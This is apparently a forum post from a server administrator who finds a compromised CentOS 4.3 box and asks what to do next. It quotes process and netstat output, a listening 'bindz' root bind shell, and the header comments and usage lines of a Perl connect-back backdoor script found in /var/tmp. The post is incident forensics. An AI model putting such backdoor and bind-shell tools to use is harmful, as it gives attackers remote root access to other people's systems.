So pretty sure one of my boxes has been owned. Just wanted some advise on what to do next. Obviously, i'll need to nuke the fecker and start over but it would be really nice to find out how they got in as its a CentOS 4.3 which is bang up to date.
So i found:
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND 7052 apache 25 0 27320 5348 8 R 99.0 0.5 736:52 0 uselib24
[root@box tmp]# netstat -lnp |more Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN 3012/rpc.statd tcp 0 0 127.0.0.1:32769 0.0.0.0:* LISTEN 3138/xinetd tcp 0 0 0.0.0.0:66 0.0.0.0:* LISTEN 3124/sshd tcp 0 0 0.0.0.0:9865 0.0.0.0:* LISTEN 7031/bindz tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 14534/mysqld tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 2993/portmap tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7031/bindz tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 3138/xinetd tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 3578/vsftpd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 10707/sendmail: acc tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 7031/bindz
Bindz.... hmm. telnetting to the port gave me a root shell - nice. My firewall scripts should block that port but i don't know if they're working now :(
contents of /var/tmp was:
-rwxrwxr-x 1 apache apache 19429 Jan 10 16:20 bindz -rw-r--r-- 1 apache apache 2100 Jan 8 21:32 dc.txt -rwxrwxr-x 1 apache apache 479843 Aug 3 2005 uselib24
dc.txt started:
#!/usr/bin/perl use IO::Socket; #IRAN HACKERS SABOTAGE Connect Back Shell #code by:LorD #We Are :LorD-C0d3r-NT #Email:LorD@ihsteam.com # #lord@SlackwareLinux:/home/programing$ perl dc.pl #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #Usage: dc.pl [Host] [Port] # #Ex: dc.pl 127.0.0.1 2121 #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #[*] Resolving HostName #[*] Connecting... 127.0.0.1 #[*] Spawning Shell #[*] Connected to remote host
i might e-mail him and thank him.
So what next?